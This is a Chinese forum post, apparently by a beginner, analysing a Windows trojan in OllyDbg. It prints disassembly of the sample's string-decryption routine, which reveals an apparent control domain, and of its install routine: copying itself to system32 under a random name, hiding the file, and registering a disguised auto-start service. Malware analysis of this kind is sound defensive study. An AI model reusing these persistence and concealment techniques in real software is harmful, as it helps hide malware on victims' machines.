一个简单的木马分析
PS：处女贴，有什么不足的地方往大牛们不要喷。
今天在吾爱破解里面逛着看见一个木马分析帖子，帖子地址在www.52pojie.cn/thread-131075-1-1.html，作者是谁分析了一个简单的算法，也没说给仔细说出，索性自己分析一下。废话不多说，OD操练起来。
入口地址，不用多说，VC的 6.0的，PEID查壳也是、
0040458F >/$ 55 push ebp
00404590 |. 8BEC mov ebp,esp
00404592 |. 6A FF push -0x1
00404594 |. 68 B0A14000 push fuckme.0040A1B0
00404599 |. 68 10444000 push fuckme.00404410 ; SE 处理程序安装
0040459E |. 64:A1 0000000>mov eax,dword ptr fs:[0]
004045A4 |. 50 push eax
004045A5 |. 64:8925 00000>mov dword ptr fs:[0],esp
004045AC |. 83EC 58 sub esp,0x58
004045AF |. 53 push ebx
004045B0 |. 56 push esi
004045B1 |. 57 push edi
004045B2 |. 8965 E8 mov [local.6],esp
004045B5 |. FF15 F4A04000 call dword ptr ds:[<&KERNEL32.GetVersion>; kernel32.GetVersion
F8往下走，00404658 |. E8 F3D5FFFF call fuckme.00401C50 进去
0040464B |> \50 push eax
0040464C |. FF75 9C push [local.25]
0040464F |. 56 push esi
00404650 |. 56 push esi ; /pModule
00404651 |. FF15 D4A04000 call dword ptr ds:[<&KERNEL32.GetModuleH>; \GetModuleHandleA
00404657 |. 50 push eax
00404658 |. E8 F3D5FFFF call fuckme.00401C50 进去喽
0040465D |. 8945 A0 mov [local.24],eax
00404660 |. 50 push eax
00404661 |. E8 37FBFFFF call fuckme.0040419D
00404666 |. 8B45 EC mov eax,[local.5]
F7进去如下，这里说明一下，00401C54 push fuckme.0040B2F0 ; ASCII "Q@VQ"这里的ASCII码会在下面 00401C59 call fuckme.004023B0这个CALL中解密，显示TEST，汗，就是测试一下，没有意义。 ASCII "qu{{sisirr.;;::.ozg" 这个会在下面的00401C75 |. E8 A6FFFFFF call fuckme.00401C20 CALL里面解密，原分析者分析了这个，F7进去看看作者是怎么解密的，在下面还有一个CALL，我们也进去看看，这个CALL是在注册表中检测系统是否已经添加了叫window time Acquisition的服务，即系统是否被感染过，若没有感染就会跳过，因为是第一次分析所以没有感染，即跳过。下面会分析。
00401C50 /$ 83EC 10 sub esp,0x10
00401C53 |. 57 push edi
00401C54 |. 68 F0B24000 push fuckme.0040B2F0 ; ASCII "Q@VQ"
00401C59 |. E8 52070000 call fuckme.004023B0 加密上面的ASCII 为“TEST”
00401C5E |. BF D0B14000 mov edi,fuckme.0040B1D0 ; ASCII "qu{{sisirr.;;::.ozg"
00401C63 |. 83C9 FF or ecx,-0x1
00401C66 |. 33C0 xor eax,eax
00401C68 |. 6A 05 push 0x5
00401C6A |. F2:AE repne scas byte ptr es:[edi]
00401C6C |. F7D1 not ecx
00401C6E |. 49 dec ecx
00401C6F |. 51 push ecx
00401C70 |. 68 D0B14000 push fuckme.0040B1D0 ; ASCII "qu{{sisirr.;;::.ozg"
00401C75 |. E8 A6FFFFFF call fuckme.00401C20 F7进去为解密算法
00401C7A |. 83C4 10 add esp,0x10
00401C7D |. E8 7E000000 call fuckme.00401D00 F7进去
00401C82 |. 85C0 test eax,eax
00401C84 |. 5F pop edi
00401C85 |. 74 43 je short fuckme.00401CCA 没有被感染跳过
00401C87 |. E8 D4230000 call fuckme.00404060
00401C8C |. 85C0 test eax,eax
00401C8E |. 75 2B jnz short fuckme.00401CBB
00401C90 |. 894424 08 mov dword ptr ss:[esp+0x8],eax
00401C94 |. 894424 0C mov dword ptr ss:[esp+0xC],eax
00401C98 |. 8D4424 00 lea eax,dword ptr ss:[esp]
00401C9C |. C74424 00 30B>mov dword ptr ss:[esp],fuckme.0040B030 ; ASCII "Windows Time Acquisition"
00401CA4 |. 50 push eax ; /pServiceTable
00401CA5 |. C74424 08 A01>mov dword ptr ss:[esp+0x8],fuckme.004018>; |
00401CAD |. FF15 1CA04000 call dword ptr ds:[<&ADVAPI32.StartServi>; \StartServiceCtrlDispatcherA
F7进来会看见，下面的就是解密算法了，加密算法是这样的，将字符串的各个字符减去6（在我这里是，不知道你们那里是什么，即dl的值）得值在与6异或返回到在返回到原来的字符串中，解密后为ASCII "misskekejj.3322.org"
00401C20 /$ 8B4424 0C mov eax,dword ptr ss:[esp+0xC]
00401C24 |. B9 FE000000 mov ecx,0xFE
00401C29 |. 25 FF000000 and eax,0xFF
00401C2E |. 56 push esi
00401C2F |. 99 cdq
00401C30 |. F7F9 idiv ecx
00401C32 |. 8B7424 0C mov esi,dword ptr ss:[esp+0xC]
00401C36 |. FEC2 inc dl
00401C38 |. 85F6 test esi,esi
00401C3A |. 76 10 jbe short fuckme.00401C4C
00401C3C |. 8B4424 08 mov eax,dword ptr ss:[esp+0x8]
00401C40 |> 8A08 /mov cl,byte ptr ds:[eax]
00401C42 |. 2ACA |sub cl,dl
00401C44 |. 32CA |xor cl,dl
00401C46 |. 8808 |mov byte ptr ds:[eax],cl
00401C48 |. 40 |inc eax
00401C49 |. 4E |dec esi
00401C4A |.^ 75 F4 \jnz short fuckme.00401C40 //算法
00401C4C |> 5E pop esi
00401C4D \. C3 retn
没有感染会跳到这里，3个PUSH 为3个参数，下面的CALL为就是程序的核心CALL，F7进去，下面的call fuckme.00401AA0这个函数就是使用CMD命令删除本事，开启一个挂起进程，然后恢复，删除自身程序。简单就不说了，病毒木马通用的一招，然后下面的就是退出程序了。
00401CCA |> \68 D0B04000 push fuckme.0040B0D0
00401CCF |. 68 50B04000 push fuckme.0040B050 ; ASCII "Windows Time Acquisition"
00401CD4 |. 68 30B04000 push fuckme.0040B030 ; ASCII "Windows Time Acquisition"
00401CD9 |. E8 C2000000 call fuckme.00401DA0 重要CALL F7进去
00401CDE |. A1 C4DF4000 mov eax,dword ptr ds:[0x40DFC4]
00401CE3 |. 83C4 0C add esp,0xC
00401CE6 |. 85C0 test eax,eax
00401CE8 |.^ 74 C9 je short fuckme.00401CB3
00401CEA |. E8 B1FDFFFF call fuckme.00401AA0 CMD命令，建立进程删除本事的CALL，简单就不说了，病毒木马通用的一招
00401CEF |. 6A 00 push 0x0
00401CF1 |. E8 A7240000 call fuckme.0040419D 这个CALL就是关闭程序的。到此就结束了
00401CF6 |. 90 nop
00401CF7 |. 90 nop
F7 进去后如下，下面一一分析，首先程序获得了自己的路径，又获取了系统的路径（哼，肯定不会干好事），然后调用了同一个CALL好几次，感觉不重要，略过（其实是没分析），再下面会调用一个wsprintfA函数，就出现了一个aaaaa.exe字符串（在堆栈中会有），然后经过一大堆代价，其实就是把系统目录和aaaaa.exe拼接在一起，即C:\WINDOWS\system32\aaaaa.exe，就是为下面的函数做参数用，紧随其后的就是一个copyfile的一个函数，将本身copy到C:\WINDOWS\system32\aaaaa.exe,随后，在此目录下会有一个aaaaa.exe文件， 然后调用SetFileAttributesA函数，将aaaaa.exe文件设置成隐藏，系统属性，在往下走调用.OpenSCManagerA打开服务控制管理器，下面就是创建一个以aaaaa.exe为启动文件的服务，服务名称和显示名称都为window time Acquisition，这也就是为什么上面那个会搜索这个的原因，然后打开、启动这个服务，又开始一大堆代码其实也是拼接，结果为 SYSTEM\CurrentControlSet\Services\Windows Time Acquisition，就是为下面的函数做参数用，下面就是打开这个注册表，然后为这个服务添加描述Description，为从 WMI HiPerf 提供程序提供性能库信息，服务项就没有了，后面的CALL就是关闭的东西，关闭注册表，和服务。这个CALL就分析完了
00401DA0 /$ 55 push ebp
00401DA1 |. 8BEC mov ebp,esp
00401DA3 |. 6A FF push -0x1
00401DA5 |. 68 A0A14000 push fuckme.0040A1A0
00401DAA |. 68 10444000 push fuckme.00404410 ; SE 处理程序安装
00401DAF |. 64:A1 0000000>mov eax,dword ptr fs:[0]
00401DB5 |. 50 push eax
00401DB6 |. 64:8925 00000>mov dword ptr fs:[0],esp
00401DBD |. 81EC 70030000 sub esp,0x370
00401DC3 |. 53 push ebx
00401DC4 |. 56 push esi
00401DC5 |. 57 push edi
00401DC6 |. 68 04010000 push 0x104 ; /BufSize = 104 (260.)
00401DCB |. 8D85 D8FCFFFF lea eax,[local.202] ; |
00401DD1 |. 50 push eax ; |PathBuffer
00401DD2 |. 33DB xor ebx,ebx ; |
00401DD4 |. 53 push ebx ; |hModule => NULL
00401DD5 |. FF15 80A04000 call dword ptr ds:[<&KERNEL32.GetModuleF>; \GetModuleFileNameA 获取程序路径
00401DDB |. 68 04010000 push 0x104 ; /BufSize = 104 (260.)
00401DE0 |. 8D8D E0FDFFFF lea ecx,[local.136] ; |
00401DE6 |. 51 push ecx ; |Buffer
00401DE7 |. FF15 44A04000 call dword ptr ds:[<&KERNEL32.GetSystemD>; \GetSystemDirectoryA 获取系统路径
00401DED |. 8DBD E0FDFFFF lea edi,[local.136]
00401DF3 |. 83C9 FF or ecx,-0x1
00401DF6 |. 33C0 xor eax,eax
00401DF8 |. F2:AE repne scas byte ptr es:[edi]
00401DFA |. F7D1 not ecx
00401DFC |. 49 dec ecx
00401DFD |. 51 push ecx
00401DFE |. 8D95 D8FCFFFF lea edx,[local.202]
00401E04 |. 52 push edx
00401E05 |. 8D85 E0FDFFFF lea eax,[local.136]
00401E0B |. 50 push eax
00401E0C |. E8 CF240000 call fuckme.004042E0
00401E11 |. 83C4 0C add esp,0xC
00401E14 |. 85C0 test eax,eax
00401E16 |. 0F84 0F010000 je fuckme.00401F2B
00401E1C |. 6A 1A push 0x1A
00401E1E |. E8 2D060000 call fuckme.00402450
00401E23 |. 83C4 04 add esp,0x4
00401E26 |. 83C0 61 add eax,0x61
00401E29 |. 50 push eax
00401E2A |. 6A 1A push 0x1A
00401E2C |. E8 1F060000 call fuckme.00402450
00401E31 |. 83C4 04 add esp,0x4
00401E34 |. 83C0 61 add eax,0x61
00401E37 |. 50 push eax
00401E38 |. 6A 1A push 0x1A
00401E3A |. E8 11060000 call fuckme.00402450
00401E3F |. 83C4 04 add esp,0x4
00401E42 |. 83C0 61 add eax,0x61
00401E45 |. 50 push eax
00401E46 |. 6A 1A push 0x1A
00401E48 |. E8 03060000 call fuckme.00402450
00401E4D |. 83C4 04 add esp,0x4
00401E50 |. 83C0 61 add eax,0x61
00401E53 |. 50 push eax
00401E54 |. 6A 1A push 0x1A
00401E56 |. E8 F5050000 call fuckme.00402450
00401E5B |. 83C4 04 add esp,0x4
00401E5E |. 83C0 61 add eax,0x61 ; |
00401E61 |. 50 push eax ; |<%c>
00401E62 |. 68 2CB34000 push fuckme.0040B32C ; |Format = "%c%c%c%c%c.exe"
00401E67 |. 8D8D 80FCFFFF lea ecx,[local.224] ; |
00401E6D |. 51 push ecx ; |s
00401E6E |. FF15 5CA14000 call dword ptr ds:[<&USER32.wsprintfA>] ; \wsprintfA 堆栈红出现aaaaa.exe字符
00401E74 |. 83C4 1C add esp,0x1C
00401E77 |. 8D95 E0FDFFFF lea edx,[local.136]
00401E7D |. BF 28B34000 mov edi,fuckme.0040B328
00401E82 |. 83C9 FF or ecx,-0x1
00401E85 |. 33C0 xor eax,eax
00401E87 |. F2:AE repne scas byte ptr es:[edi]
00401E89 |. F7D1 not ecx
00401E8B |. 2BF9 sub edi,ecx
00401E8D |. 8BF7 mov esi,edi
00401E8F |. 8BFA mov edi,edx
00401E91 |. 8BD1 mov edx,ecx
00401E93 |. 83C9 FF or ecx,-0x1
00401E96 |. F2:AE repne scas byte ptr es:[edi]
00401E98 |. 4F dec edi
00401E99 |. 8BCA mov ecx,edx
00401E9B |. C1E9 02 shr ecx,0x2
00401E9E |. F3:A5 rep movs dword ptr es:[edi],dword ptr ds>
00401EA0 |. 8BCA mov ecx,edx
00401EA2 |. 83E1 03 and ecx,0x3
00401EA5 |. F3:A4 rep movs byte ptr es:[edi],byte ptr ds:[>
00401EA7 |. 8DBD 80FCFFFF lea edi,[local.224]
00401EAD |. 8D95 E0FDFFFF lea edx,[local.136]
00401EB3 |. 83C9 FF or ecx,-0x1
00401EB6 |. F2:AE repne scas byte ptr es:[edi]
00401EB8 |. F7D1 not ecx
00401EBA |. 2BF9 sub edi,ecx
00401EBC |. 8BF7 mov esi,edi
00401EBE |. 8BFA mov edi,edx
00401EC0 |. 8BD1 mov edx,ecx
00401EC2 |. 83C9 FF or ecx,-0x1
00401EC5 |. F2:AE repne scas byte ptr es:[edi]
00401EC7 |. 4F dec edi
00401EC8 |. 8BCA mov ecx,edx
00401ECA |. C1E9 02 shr ecx,0x2
00401ECD |. F3:A5 rep movs dword ptr es:[edi],dword ptr ds>
00401ECF |. 8BCA mov ecx,edx
00401ED1 |. 83E1 03 and ecx,0x3
00401ED4 |. F3:A4 rep movs byte ptr es:[edi],byte ptr ds:[>
00401ED6 |. 53 push ebx ; /FailIfExists
00401ED7 |. 8D85 E0FDFFFF lea eax,[local.136] ; |
00401EDD |. 50 push eax ; |NewFileName
00401EDE |. 8D8D D8FCFFFF lea ecx,[local.202] ; |
00401EE4 |. 51 push ecx ; |ExistingFileName
00401EE5 |. FF15 40A04000 call dword ptr ds:[<&KERNEL32.CopyFileA>>; \CopyFileA 拷贝文件到系统目录下面为aaaaa.exe文件
00401EEB |. B9 41000000 mov ecx,0x41
00401EF0 |. 33C0 xor eax,eax
00401EF2 |. 8DBD D8FCFFFF lea edi,[local.202]
00401EF8 |. F3:AB rep stos dword ptr es:[edi]
00401EFA |. 8DBD E0FDFFFF lea edi,[local.136]
00401F00 |. 8D95 D8FCFFFF lea edx,[local.202]
00401F06 |. 83C9 FF or ecx,-0x1
00401F09 |. F2:AE repne scas byte ptr es:[edi]
00401F0B |. F7D1 not ecx
00401F0D |. 2BF9 sub edi,ecx
00401F0F |. 8BC1 mov eax,ecx
00401F11 |. 8BF7 mov esi,edi
00401F13 |. 8BFA mov edi,edx
00401F15 |. C1E9 02 shr ecx,0x2
00401F18 |. F3:A5 rep movs dword ptr es:[edi],dword ptr ds>
00401F1A |. 8BC8 mov ecx,eax
00401F1C |. 83E1 03 and ecx,0x3
00401F1F |. F3:A4 rep movs byte ptr es:[edi],byte ptr ds:[>
00401F21 |. C705 C4DF4000>mov dword ptr ds:[0x40DFC4],0x1
00401F2B |> 6A 06 push 0x6 ; /FileAttributes = HIDDEN|SYSTEM
00401F2D |. 8D8D D8FCFFFF lea ecx,[local.202] ; |
00401F33 |. 51 push ecx ; |FileName
00401F34 |. FF15 84A04000 call dword ptr ds:[<&KERNEL32.SetFileAtt>; \SetFileAttributesA 设置aaaaa.exe文件为隐藏，系统属性
00401F3A |. 899D DCFDFFFF mov [local.137],ebx
00401F40 |. 899D D0FCFFFF mov [local.204],ebx
00401F46 |. 33FF xor edi,edi
00401F48 |. 89BD D4FCFFFF mov [local.203],edi
00401F4E |. 897D FC mov [local.1],edi
00401F51 |. 68 3F000F00 push 0xF003F
00401F56 |. 57 push edi
00401F57 |. 57 push edi
00401F58 |. FF15 28A04000 call dword ptr ds:[<&ADVAPI32.OpenSCMana>; ADVAPI32.OpenSCManagerA 打开服务控制管理器
00401F5E |. 8BF0 mov esi,eax
00401F60 |. 89B5 D4FCFFFF mov [local.203],esi
00401F66 |. 3BF7 cmp esi,edi
00401F68 |. 0F84 10010000 je fuckme.0040207E
00401F6E |. 57 push edi ; /Password
00401F6F |. 57 push edi ; |ServiceStartName
00401F70 |. 57 push edi ; |pDependencies
00401F71 |. 57 push edi ; |pTagId
00401F72 |. 57 push edi ; |LoadOrderGroup
00401F73 |. 8D95 D8FCFFFF lea edx,[local.202] ; |
00401F79 |. 52 push edx ; |BinaryPathName
00401F7A |. 57 push edi ; |ErrorControl
00401F7B |. 6A 02 push 0x2 ; |StartType = SERVICE_AUTO_START
00401F7D |. 6A 10 push 0x10 ; |ServiceType = SERVICE_WIN32_OWN_PROCESS
00401F7F |. 68 FF010F00 push 0xF01FF ; |DesiredAccess = SERVICE_ALL_ACCESS
00401F84 |. 8B45 0C mov eax,[arg.2] ; |
00401F87 |. 50 push eax ; |DisplayName
00401F88 |. 8B7D 08 mov edi,[arg.1] ; |
00401F8B |. 57 push edi ; |ServiceName
00401F8C |. 56 push esi ; |hManager
00401F8D |. FF15 00A04000 call dword ptr ds:[<&ADVAPI32.CreateServ>; \CreateServiceA 创建一个以aaaaa.exe为启动文件的服务
00401F93 |. 8BD8 mov ebx,eax
00401F95 |. 899D D0FCFFFF mov [local.204],ebx
00401F9B |. 85DB test ebx,ebx
00401F9D |. 75 35 jnz short fuckme.00401FD4
00401F9F |. FF15 3CA04000 call dword ptr ds:[<&KERNEL32.GetLastErr>; [GetLastError
00401FA5 |. 3D 31040000 cmp eax,0x431
00401FAA |. 75 28 jnz short fuckme.00401FD4
00401FAC |. 68 FF010F00 push 0xF01FF
00401FB1 |. 57 push edi
00401FB2 |. 56 push esi
00401FB3 |. FF15 2CA04000 call dword ptr ds:[<&ADVAPI32.OpenServic>; ADVAPI32.OpenServiceA 打开服务
00401FB9 |. 8BD8 mov ebx,eax
00401FBB |. 899D D0FCFFFF mov [local.204],ebx
00401FC1 |. 85DB test ebx,ebx
00401FC3 |. 0F84 B5000000 je fuckme.0040207E
00401FC9 |. 6A 00 push 0x0
00401FCB |. 6A 00 push 0x0
00401FCD |. 53 push ebx
00401FCE |. FF15 04A04000 call dword ptr ds:[<&ADVAPI32.StartServi>; ADVAPI32.StartServiceA 启动这个服务（自启动类型）
00401FD4 |> 6A 00 push 0x0
00401FD6 |. 6A 00 push 0x0
00401FD8 |. 53 push ebx
00401FD9 |. FF15 04A04000 call dword ptr ds:[<&ADVAPI32.StartServi>; ADVAPI32.StartServiceA
00401FDF |. 85C0 test eax,eax
00401FE1 |. 0F84 97000000 je fuckme.0040207E
00401FE7 |. 8D95 E4FEFFFF lea edx,[local.71]
00401FED |. BF F8B24000 mov edi,fuckme.0040B2F8 ; ASCII "SYSTEM\CurrentControlSet\Services\"
00401FF2 |. 83C9 FF or ecx,-0x1
00401FF5 |. 33C0 xor eax,eax
00401FF7 |. F2:AE repne scas byte ptr es:[edi]
00401FF9 |. F7D1 not ecx
00401FFB |. 2BF9 sub edi,ecx
00401FFD |. 8BC1 mov eax,ecx
00401FFF |. 8BF7 mov esi,edi
00402001 |. 8BFA mov edi,edx
00402003 |. C1E9 02 shr ecx,0x2
00402006 |. F3:A5 rep movs dword ptr es:[edi],dword ptr ds>
00402008 |. 8BC8 mov ecx,eax
0040200A |. 83E1 03 and ecx,0x3
0040200D |. F3:A4 rep movs byte ptr es:[edi],byte ptr ds:[>
0040200F |. 8D95 E4FEFFFF lea edx,[local.71]
00402015 |. 8B7D 08 mov edi,[arg.1]
00402018 |. 83C9 FF or ecx,-0x1
0040201B |. 33C0 xor eax,eax
0040201D |. F2:AE repne scas byte ptr es:[edi]
0040201F |. F7D1 not ecx
00402021 |. 2BF9 sub edi,ecx
00402023 |. 8BF7 mov esi,edi
00402025 |. 8BFA mov edi,edx
00402027 |. 8BD1 mov edx,ecx
00402029 |. 83C9 FF or ecx,-0x1
0040202C |. F2:AE repne scas byte ptr es:[edi]
0040202E |. 4F dec edi
0040202F |. 8BCA mov ecx,edx
00402031 |. C1E9 02 shr ecx,0x2
00402034 |. F3:A5 rep movs dword ptr es:[edi],dword ptr ds>
00402036 |. 8BCA mov ecx,edx
00402038 |. 83E1 03 and ecx,0x3
0040203B |. F3:A4 rep movs byte ptr es:[edi],byte ptr ds:[>
0040203D |. 8D85 DCFDFFFF lea eax,[local.137]
00402043 |. 50 push eax ; /pHandle
00402044 |. 8D8D E4FEFFFF lea ecx,[local.71] ; |
0040204A |. 51 push ecx ; |Subkey
0040204B |. 68 02000080 push 0x80000002 ; |hKey = HKEY_LOCAL_MACHINE
00402050 |. FF15 08A04000 call dword ptr ds:[<&ADVAPI32.RegOpenKey>; \RegOpenKeyA 设置注册表
00402056 |. 8B75 10 mov esi,[arg.3]
00402059 |. 56 push esi ; /String
0040205A |. FF15 48A04000 call dword ptr ds:[<&KERNEL32.lstrlenA>] ; \lstrlenA
00402060 |. 50 push eax ; /BufSize
00402061 |. 56 push esi ; |Buffer
00402062 |. 6A 01 push 0x1 ; |ValueType = REG_SZ
00402064 |. 6A 00 push 0x0 ; |Reserved = 0
00402066 |. 68 1CB34000 push fuckme.0040B31C ; |ValueName = "Description"
0040206B |. 8B95 DCFDFFFF mov edx,[local.137] ; |
00402071 |. 52 push edx ; |hKey
00402072 |. FF15 0CA04000 call dword ptr ds:[<&ADVAPI32.RegSetValu>; \RegSetValueExA 添加服务的描述信息，为从 WMI HiPerf 提供程序提供性能库信息。
00402078 |. 8BB5 D4FCFFFF mov esi,[local.203]
0040207E |> C745 FC FFFFF>mov [local.1],-0x1
00402085 |. E8 1D000000 call fuckme.004020A7
0040208A |. 8B4D F0 mov ecx,[local.4]
0040208D |. 64:890D 00000>mov dword ptr fs:[0],ecx
00402094 |. 5F pop edi
00402095 |. 5E pop esi
00402096 |. 5B pop ebx
00402097 |. 8BE5 mov esp,ebp
00402099 |. 5D pop ebp
以上就是全部过程，这个是当没有被感染的的时候出现这种情况，分析的不好大家不要见怪，分析技术有限。还有一些感觉系统的东西判断该系统是xp还是2000还是win7。还有很多，先分析这些，有时间再分析。
当感染的了以后那个就不会跳，后面的我没怎么分析，大概可能也许会是这样创建了了一个显示名称为svchost.exe的进程，其实还是aaaaa.exe文件，只不过进程里面现实为svchost.exe，然后内存操作很多。没时间了就分析这些，以后在分析。
很多不足的地方请大牛多多指教。
